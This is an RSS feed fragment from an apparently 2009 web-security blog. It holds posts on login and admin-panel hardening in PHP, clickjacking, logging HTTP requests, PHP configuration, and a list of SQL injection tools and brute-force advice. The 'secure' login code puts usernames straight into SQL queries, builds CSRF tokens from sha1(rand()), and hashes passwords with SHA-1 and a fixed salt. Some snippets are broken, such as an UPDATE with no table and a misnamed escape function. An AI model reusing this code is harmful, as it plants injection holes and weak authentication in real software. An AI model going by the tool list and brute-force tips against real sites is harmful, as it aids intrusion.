<p>As you can see the drawback for this is that while protecting the users from bruteforce attacks, it may also (and it&#8217;s likely) to lock them out. Luckily for us there is a solution for the problem. We add another column to our table <strong>attempts</strong> of type char(2) in which we store the current hour. Basically we limit the number of logins per hour.</p>
<pre>
$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'
         AND hour='".date('G')."'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username', '".date('G')."')");
if($counter&gt;=3) {
    echo 'Max number of logins per hour exceeded!';
    exit;
}
</pre>
<p>Now it looks a little better, but still it misses something&#8230;</p>
<h2>Tip 3: IP Ban List</h2>
<p>You could use ban lists for various reasons, from allowing &#8220;known attackers&#8221; to blocking access via proxy. Generally people tend to use .htaccess files for blacklisting, but I will stick to PHP and MySQL for the example. <strong>NOTE</strong>: On medium to large websites a database (MySQL) &#8211; backend (PHP) application would stress pretty much the database. The following code should be inserted before the max number of logins per hour check.</p>
<pre>
$max_counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
if($max_counter&gt;9) {
    mysql_query("INSERT INTO banlist VALUES('".$_SERVER['REMOTE_ADDR']."')");
}
</pre>
<p>And the following line on the first line of the script.</p>
<pre>
if(1==mysql_num_rows(
    mysql_query(
        "SELECT 1
         FROM banlist
         WHERE ip='".$_SERVER['REMOTE_ADDR']."'"
    )
)) {
    echo 'Your IP address is in the ban list!';
    exit;
}
</pre>
<p>Of course you could dump the IP Address list from time to time from the database, but the following solution is a better one because it does not involve high stress on database.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Tip 4: reCAPTCHA</h2>
<p>CAPTCHA is a good way to protect a web page (login page, important forms) from bruteforce and CSRF attacks. But we are not talking about self made CAPTCHA&#8217;s, you don&#8217;t have to reinvent the wheel&#8230; in a cubic form. That&#8217;s right, most of those who write there own CAPTCHA&#8217;s tend to make them weak or impossible to use (yes, Rapidshare&#8217;s CAPTCHA is one of those). You should use a good and public CAPTCHA, like reCAPTCHA. Also don&#8217;t over use them, you have to think of CAPTCHA&#8217;s like door keys. It&#8217;s very good to have one to your entrance door, but having to unlock the door for every room can be quite annoying, if not frustrating.</p>
<h2>Tip 5: Encrypted login information</h2>
<p>You either should use SSL or (if not available) frontend encryption (hashing in our case). A good example of such an implementation would be <a href="http://insanesecurity.info/2009/01/useratuh-frontend-to-backend-encryption/">userAtuh</a>&#8217;s one. You can find available md5/sha1 hashing library&#8217;s written in javascript around the web. One such an example is Paul Johnston&#8217;s <a href="http://pajhome.org.uk/crypt/md5/md5src.html">Javascript MD5</a> library which is stated to be used by Yahoo on several non SSL pages. Can&#8217;t tell if it&#8217;s true or not, didn&#8217;t check it out, but for those who know Trilulilu (especially Romanian comrades) I can tell you that they implemented it in their flash player, for &#8220;encrypting&#8221; the source of their media (did I say too much?=).</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Tip 6: Legitimate Requests (CSRF free)</h2>
<p>As mentioned before excessively using CAPTCHA may be annoying, except in the case that the admin panel is designated for only one person (yourself) and you can bare completing on every important request a CAPTCHA field. For the other cases you could take a similar approach. On request of a page with an important form you could generate the token in the following way.</p>
<pre>
$_SESSION['token'] = sha1(rand());
</pre>
<p>And inside the form you could place it like&#8230;</p>
<pre>
&lt;input type="hidden" name="token" value="&lt;?php echo $_SESSION['token']; ?&gt;" /&gt;
</pre>
<p>While in the form processing page you should deal with it as in the following code.</p>
<pre>
if($_SESSION['token']!=$_POST['token']) {
    exit;
}
$_SESSION['token'] = sha1(rand());
</pre>
<p>Also a better way would be by using mt_rand() and seeding it with a secret method. Like for example the sum of the numbers from the session id.</p>
<h2>Tip 7: Protect your includes/secure pages</h2>
<p>If you develop your web application in a similar manner as myself than probably you include the admin pages, rather than use one  single over bloated file. And it&#8217;s a common mistake to not protect those files from direct access. I&#8217;ve seen cases of obscure naming of the files, which are not secure if the attacker can get directory information in a way or another. Although are very interesting. Why? Because security by obscurity can be very fun an creative, even useful sometimes if build on top of a secure design. Like for example when using a MySQL database (version 4, so no information_schema database available) and obscuring the table names. Coming back to our subject, you could protect your included files by using the following line of code.</p>
<pre>
if(!defined('PROTECTED')) { exit; }
</pre>
<p>While defining the PROTECTED constant in the script which includes the files (which we assume you protect). You can secure your main files (those who include files) in a similar way.</p>
<pre>
if(!$_SESSION['auth']) { exit; }
define('PROTECTED', true);
</pre>
<h2>Tip 8: Password Change</h2>
<p>When making a password change functionality don&#8217;t forget to ask the user for their current password. Many think that if a user is logged in and no CSRF could take place they are safe and thus don&#8217;t need to ask them for their current password. It&#8217;s wrong to think like that because Session Riding attacks are more frequent than you think. And it&#8217;s not such a big deal of doing this, it only takes an extra where clause in the update syntax.</p>
<pre>
$old_password = sha1('salt'.$_POST['old_password']);
$new1 = sha1('salt'.$_POST['new1']);
$new2 = sha1('salt'.$_POST['new2']);
if($new1!=$new2) {
    echo 'Your new passwords do not match!';
    exit;
}
if(mysql_query(
    "UPDATE
     SET password='$new1'
     WHERE id='".$_SESSION['id']."'
     AND password='$old_password'"
)) {
    echo 'Password successfully changed!';
}
else {
    echo 'Password couldn\'t be changed!';
}
</pre>
<h2>Tip 0</h2>
<p>This are the most common approaches which should be taken when coding login scripts/admin panels. Also they are the most common neglected aspects. Kind of paradoxical in a way. And that;s not all, if we think of HTTP Redirects which by the way haven&#8217;t been treated because latest versions of PHP protect you against HTTP Response Splitting. Another thing I didn&#8217;t treat was XSS, which I think (and maybe you would approve) doesn&#8217;t make a part of this subject, it concerns the way you implement functionality in your pages. I often wonder why even give power to the user, like for example in a comment form. Why give him even the ability to post link (and convert them to link)?</p>
<p>Anyway, as you can see I didn&#8217;t post a ready to use script/class because I wanted you to understand the concept behind login/admin panel security. Not just copy-paste the code and cross your fingers that it will work.</p>
<p><strong>UPDATE</strong>: On <a href="http://rvdh.ath.cx/">Ronald</a>&#8217;s suggestion I replaced the md5 hashes with sha1 hashes, even salted them. Also modified the MySQL code to order the result by id, just in case there where two accounts with the same login information (which shouldn&#8217;t, if you properly did the checks in the registration page, if uses any). </p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/8-tips-for-a-secure-login-scriptadmin-panel/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>1-2-3-Clickjacking</title>
		<link>http://insanesecurity.info/blog/1-2-3-clickjacking</link>
		<comments>http://insanesecurity.info/blog/1-2-3-clickjacking#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:51:56 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Clickjacking]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=74</guid>
		<description><![CDATA[Yesterday I listened OWASP&#8217;s Podcast #1 and recall the conversation about (media buzzing) Clickjacking attacks, and I can&#8217;t agree more on a certain aspect of the conversation: attacks are becoming more simpler than ever. Just having a look at common attacks: SQL Injection attacks (if done manually) need a certain amount of SQL knowledge, XSS [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I listened <a href="https://www.owasp.org/index.php/Podcast_1">OWASP&#8217;s Podcast #1</a> and recall the conversation about (media buzzing) <a href="http://en.wikipedia.org/wiki/Clickjacking">Clickjacking</a> attacks, and I can&#8217;t agree more on a certain aspect of the conversation: attacks are becoming more simpler than ever. Just having a look at common attacks: <a href="http://insanesecurity.info/2009/02/sql-injection-junkie/">SQL Injection</a> attacks (if done manually) need a certain amount of SQL knowledge, XSS attacks require some Javascript knowledge, CSRF attacks require some knowledge on website functionality, while Clickjacking attacks require almost no skill.</p>
<p><span id="more-74"></span></p>
<p>
As kuzza55 responded to the <a href="http://ha.ckers.org/blog/20080915/clickjacking/">Clickjacking</a> article on <a href="http://ha.ckers.org">ha.ckers.org</a>:</p>
<blockquote><p>The term Clickjacking reminds me of all the invisible CSS/iframe overlay stuff, which seems to fit the description here (&#8230;)</p>
</blockquote>
<p>With some simple CSS/Iframe code you can pull of a Clickjacking PoC under a couple of minutes. Also there are other types of web &#8220;jacking&#8221; attacks, just check out <a href="http://www.breakingpointsystems.com/community/blog/clickjacking">this</a> article.</p>
<p>A simple way to protect websites against Clickjacking (iframed) is via some <a href="http://en.wikipedia.org/wiki/Framekiller">frame busting</a> code, which can be bypassed by adding the SECURITY=restricted iframe attribute under IE and by using the methods that coderr mentioned in <a href="http://coderrr.wordpress.com/2009/02/13/preventing-frame-busting-and-click-jacking-ui-redressing/">this</a> article. For users <a href="http://noscript.net/">NoScript</a> is the right protection, until (who knows) browsers do something against this web feature.</p>
<p>No, I don&#8217;t like IE8&#8217;s so called solution.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/1-2-3-clickjacking/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Logging the HTTP requests!</title>
		<link>http://insanesecurity.info/blog/logging-the-http-requests</link>
		<comments>http://insanesecurity.info/blog/logging-the-http-requests#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:47:49 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/logging-the-http-requests</guid>
		<description><![CDATA[Logs are a very important part of security, either for preventing attacks or for forensics. But sometimes you don&#8217;t have access to logs, like for example in shared hosting environments. Logs, and I&#8217;m speaking about logging the HTTP requests, can help you very much. With the use of logs you can predict defacements: someone constantly [...]]]></description>
			<content:encoded><![CDATA[<p>Logs are a very important part of security, either for preventing attacks or for forensics. But sometimes you don&#8217;t have access to logs, like for example in shared hosting environments.</p>
<p><span id="more-71"></span></p>
<p>
Logs, and I&#8217;m speaking about logging the HTTP requests, can help you very much. With the use of logs you can  predict defacements: someone constantly trying to inject sql commands, who knows, maybe he&#8217;s on to something. Also these logs could help you prevent bruteforce attacks (if such protections weren&#8217;t implemented in the original login scripts). Needless to say that it will help you (probably) trace back a dumb attacker.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>A rudimentary logging system would look something like this (assuming that a mysql connection has been made before):</p>
<pre>
function sqle($in) { return mysql_real_escape_string($in); }
function start_log() {
    $referer = sqle($_SERVER['HTTP_REFERER']);
    $uagent  = sqle($_SERVER['HTTP_USER_AGENT']);
    $iproxy  = sqle($_SERVER['REMOTE_ADDR']);
    $exactly = date('r');
    $model   = "INSERT INTO &lt;TABLE&gt; (iproxy, referer,
        uagent, exactly, data) VALUES ('$iproxy',
        '$referer', '$uagent', '$exactly', '&lt;DATA&gt;')";

    if(isset($_POST)) {
        $data  = sqle(serialize($_POST));
        $query = str_replace('&lt;DATA&gt;',$data,$model);
        mysql_query(str_replace('&lt;TABLE&gt;','postlog',$query));
    }

    if(isset($_GET)) {
        $data  = sql(serialize($_GET));
        $query = str_replace('&lt;DATA&gt;',$data,$model);
        mysql_query(str_replace('&lt;TABLE&gt;','getlog', $query));
    }
}
</pre>
<p>As you can see we have two tables declared in the same way, one named &#8216;postlog&#8217;, while the other &#8216;getlog&#8217;. From this point on you can make scripts that will check for xss, sql injection, lfi/rfi attempts.</p>
<p>I, for example, use it to track those trying to bruteforce my login credentials. And for monitoring wrong entered passwords, if any.</p>
<p>Another thing to note is that the script logs everything passed via a request, so it&#8217;s not recommended to add on login pages without setting an exception for the password field.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Another security enchantment would be to have the tables inside another database than the one you&#8217;re using for the website, so in case of an SQL injection no sensitive log data would be revealed (sensitive if you wouldn&#8217;t add exceptions as mentioned above). And how it would be this the best way to achieve? By adding a mysql connection to the example above. Upon inclusion the code executed would be the following</p>
<pre>
//some general inclusion you make
//include logger.php (this is our script expanded)
function sqle($in) { ... }
function start_log() {
    $handle = mysql_connect('host','user','pass');
    mysql_select_db('logDB', $handle);
    ...
    if(isset($_POST)) {
        ...
        mysql_query(
            str_replace('&lt;TABLE&gt;','postlog',$query),
            $handle
        );
    }
    if(isset($_GET)) {
        ...
        mysql_query(
            str_replace('&lt;TABLE&gt;','getlog',$query),
            $handle
        );
    }
    mysql_close($handle);
}
</pre>
<p>Another thing to note, is that the user of the website database shouldn&#8217;t have rights upon the log database. You should create a special user just for the logging part.</p>
<p>Also if you like automated stuff, as I do, you would love a logrotate-like implementation which you could cron:</p>
<pre>
mysql_connect('host','user','pass');
mysql_select_db('logDB');

$date = date('Y-m-d');
$path = '/home/logs/';
$file  = $path.'default.txt';
$query = "SELECT * FROM &lt;TABLE&gt; INTO OUTFILE '$file'
         FIELDS TERMINATED BY ' ' LINES TERMINATED BY 'n'";

mysql_query(str_replace('&lt;TABLE&gt;', 'getlog', $query);
rename($file, $path.$date.'(GET).txt');

mysql_query(str_replace('&lt;TABLE&gt;', 'postlog', $query);
rename($file, $path.$date.'(POST).txt');
</pre>
<p>About logs (and logging) that&#8217;s it for the moment. Maybe I&#8217;ll do another time an article about analyzing HTTP logs.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Another thing I wanted to mention, is that there is a similar approach found on the web via a wordpress plugin. Wanted to share it but unfortunately didn&#8217;t find it while writing the article.</p>
<p>P.S. Didn&#8217;t write the table creating syntax, but you can do it yourself. Not much into it, a bunch of varchar fields&#8230;</p>
<p>UPDATE: did some minor editing, upon renaming the files they would have been put in the scripts executing directory.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/logging-the-http-requests/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Secure PHP configuration</title>
		<link>http://insanesecurity.info/blog/secure-php-configuration</link>
		<comments>http://insanesecurity.info/blog/secure-php-configuration#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:42:51 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Research]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/secure-php-configuration</guid>
		<description><![CDATA[A web application written on top of an insecurely configured PHP parser is as good as an account with a weak password. A good guide (article) on configuring safely PHP can be found here, but for the ones truly interested about the subject I would recommend the PHP 5 from OWASP. Guide which besides telling [...]]]></description>
			<content:encoded><![CDATA[<p>A web application written on top of an insecurely configured PHP parser is as good as an account with a <a href="http://insanesecurity.info/2009/01/password-insecurity-wordlists-dictionaries/">weak password</a>.</p>
<p><span id="more-67"></span></p>
<p>
A good guide (article) on configuring safely PHP can be found <a href="http://aymanh.com/checklist-for-securing-php-configuration">here</a>, but for the ones truly interested about the subject I would recommend the <a href="http://www.owasp.org/index.php/PHP_Top_5">PHP 5 from OWASP</a>. Guide which besides telling you how to configure PHP, also presents the implication of every insecure configuration of it.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Another thing I would modify (and it&#8217;s not mentioned anywhere) is the session cookies lifetime. Maybe a little annoying for the visiting user, but it protects better (sometimes) against CSRF that a cookie which expires on browser restart.</p>
<pre>
session.cookie_lifetime = 600
</pre>
<p>
But don&#8217;t think you&#8217;re done yet&#8230; This is just the beginning. The guys back at <a href="http://phpsec.org">PHP Security Consortium</a> have created an automated testing suite for PHP configuration. You can download it from <a href="http://phpsec.org/projects/phpsecinfo/">here</a>.</p>
<p>Doing the test on the <strong>php.ini-dist</strong> gave me 7 Notices, 2 Passes and 3 Warnings. And doing the tests on <strong>php.ini-recommended</strong> gave me 5 Notices, 4 Passes and 3 Warnings.</p>
<p><img src="http://insanesecurity.info/wp-content/uploads//php-test.jpg" alt="PHP.ini-recommended" title="php-test" width="550" class="size-full wp-image-301" /></p>
<p>If you think that is too much effort, than you&#8217;re gonna love their alternative. As the testing suite above, they have also created a Greasemonkey script version. You can download it from <a href="http://sourceforge.net/projects/gpsc/">here</a>. For <a href="http://sourceforge.net/projects/gpsc/">Greasemonkey phpinfo() Security Checker</a> to work you just have to visit a page that outputs the result of <a href="http://php.net/phpinfo">phpinfo</a>().</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/secure-php-configuration/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection Junkie</title>
		<link>http://insanesecurity.info/blog/sql-injection-junkie</link>
		<comments>http://insanesecurity.info/blog/sql-injection-junkie#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:40:03 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=65</guid>
		<description><![CDATA[SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance [...]]]></description>
			<content:encoded><![CDATA[<p>SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. (<a href="http://en.wikipedia.org/wiki/SQL_Injection">Wikipedia</a>)</p>
<p><span id="more-65"></span></p>
<p>
That is one way to name it. I see SQL Injections as vulnerabilities that should have died long ago&#8230; Not because they&#8217;ve been around for too long (look at buffer overflows), but because they are simple to prevent&#8230; Seeing the high number of new developers that pop up every year, with no secure coding habits, I  foresee a great future for SQL Injections, as well as for any other web application vulnerability.</p>
<p>Leaving aside the sarcasm, I&#8217;ve written this article with the sole purpose of sharing SQL Injection related resources that I did find useful.</p>
<h2>RTFM!? (Read The &#8220;Funky&#8221; Manual)</h2>
<p>Before even trying to understand what SQL  Injection is, you should have (at least) basic knowledge on the type of database that the SQL Injection back end has and it&#8217;s syntax (the <a href="http://en.wikipedia.org/wiki/SQL">ANSI/ISO SQL</a> standard and DBMS specific functions/procedures/tables). Best direction for a start up (and quick reference) on a specific DBMS is it&#8217;s own manual:</p>
<ul>
<li><a href="http://msdn.microsoft.com/en-us/library/ms189826.aspx">MS SQL (Transact-SQL)</a></li>
<li><a href="http://dev.mysql.com/doc/">MySQL</a></li>
<li><a href="http://www.oracle.com/technology/documentation/index.html">Oracle</a></li>
<li><a href="http://www.postgresql.org/docs/">PostgreSQL</a></li>
</ul>
<p>Note here (and through the whole article) that I will emphasis on MSSQL, MySQL, Oracle and PostgreSQL, because they are the most common DBMS&#8217;s you&#8217;ll encounter.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></p>
<p></script></p>
<h2>SQL Injection 101</h2>
<p>You should understand <a href="http://www.owasp.org/index.php/SQL_Injection">basic SQL Injection attacks</a>. I linked to OWASP&#8217;s article on SQL Injection, but you could search another one (there are plenty on the web) which may seem more appropriate to you. Also don&#8217;t forget to <a href="http://www.owasp.org/index.php/Blind_SQL_Injection">dive in Blind SQL Injections</a>.</p>
<p>From that point onward it goes on with a bit of practice (there are a couple of challenge websites) and some DBMS specific techniques. The following articles are some examples on the subject:</p>
<ul>
<li><a href="http://websec.wordpress.com/2007/11/17/mysql-table-and-column-names/">MySQL table and column names</a></li>
<li><a href="http://websec.wordpress.com/2007/11/17/mysql-into-outfile/">MySQL into outfile</a></li>
<li><a href="http://www.securityfocus.com/infocus/1644">SQL Injection and Oracle</a></li>
<li><a href="http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf">Manipulating SQL Server Using SQL Injection</a></li>
</ul>
<p>As I said, these are just a few examples. Other interesting (MySQL) techniques would be the ones using <a href="http://www.securiteam.com/securityreviews/5JP0F20EUM.html">Benchmark()</a> and <a href="http://websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/">Procedure Analyze()</a>.</p>
<h2>SQL Injection Cheat Sheet</h2>
<p>The most helpful resources when you&#8217;re doing SQL Injection attacks manually. I personally use <a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/">Ferruh</a>&#8217;s and <a href="http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/">pentestmonkey</a>&#8217;s cheat sheets. You should not stop at only these two, there are many other cheat sheets (DBMS specific also) available. The best option would be to union more cheat sheets (some have exotic vectors, while other have more detailed examples) and from those select what you think would be appropriate for your cheat sheet.</p>
<h2>Browserware</h2>
<p>There are two firefox add-on&#8217;s that I would suggest for SQL Injection testing. The first one is <a href="https://addons.mozilla.org/en-US/firefox/addon/3899">HackBar</a>, which I find very useful when exploiting SQL Injections from the browser directly (extracting/enumerating/dumping), while the second is <a href="https://addons.mozilla.org/en-US/firefox/addon/7597">SQL Inject Me</a>, add-on which will prove useful in the pages with many input fields.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>A Little Extra</h2>
<p>Although SQL Injections can be exploited manually on several occasions (and based on your laziness) you&#8217;ll want to automate the job of extracting/detecting/dumping/bruteforcing (?) a Database. Here the following scripts/apps would prove handy&#8230;</p>
<p><a href="http://sqlmap.sourceforge.net/" target="_blank">SQLMap</a><br />
sqlmap is an open source command-line automatic SQL injection tool developed in Python. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user&#8217;s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.</p>
<p><a href="http://chaptersinwebsecurity.blogspot.com/2008/11/multiinjector-v03-released.html" target="_blank">MultiInjector</a><br />
MultiInjector is a mass exploitation tool (automated defacement). You basically give to the application a list of targets and payload, while it will fuzz all the found parameters by appending the payload to it. Check the website for more information.</p>
<p><a href="http://code.google.com/p/bsqlbf-v2/" target="_blank">Blind Sql Injection Brute Forcer version 2</a><br />
This is a modified version of &#8216;bsqlbfv1.2-th.pl&#8217;. This perl script allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections. Databases supported: MSSQL, MySQL, PostgreSQL and Oracle.</p>
<p><a href="http://sqlninja.sourceforge.net/">SQLNinja</a></p>
<p>Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end. Its main goal is to provide a remote access on the vulnerable DB server, even in a very hostile environment. It should be used by penetration testers to help and automate the process of taking over a DB Server when a SQL Injection vulnerability has been discovered.</p>
<p><a href="http://www.justinclarke.com/archives/2006/03/sqlbrute.html">SQLBrute</a><br />
SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle.</p>
<p>This is just a small list, for more check out the <a href="http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners">top 15 sql injection scanners</a> back at <a href="http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners">security-hacks</a>.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Bruteforce?</h2>
<p>If you can&#8217;t SQL Inject a website, you can bruteforce the login credentials (if external access is allowed). Just download <a href="http://www.foofus.net/jmk/medusa/medusa.html">medusa</a>/<a href="http://freeworld.thc.org/thc-hydra/">hydra</a> (I prefer Hydra, due to Windows support :) generate a custom wordlist for your scenario (<a href="http://insanesecurity.info/2009/01/password-insecurity-wordlists-dictionaries/">resource on wordlists and common passwords</a>), and hit enter.</p>
<p>I know I&#8217;ve gone a bit off topic with the bruteforcing section, but I guess it didn&#8217;t hurt nobody a little more info.</p>
<h2>AND 1=0</h2>
<p>Have any suggestion? Feel free to contribute with comments/articles/cheat sheets, or any other resource which would improve this article.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/sql-injection-junkie/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
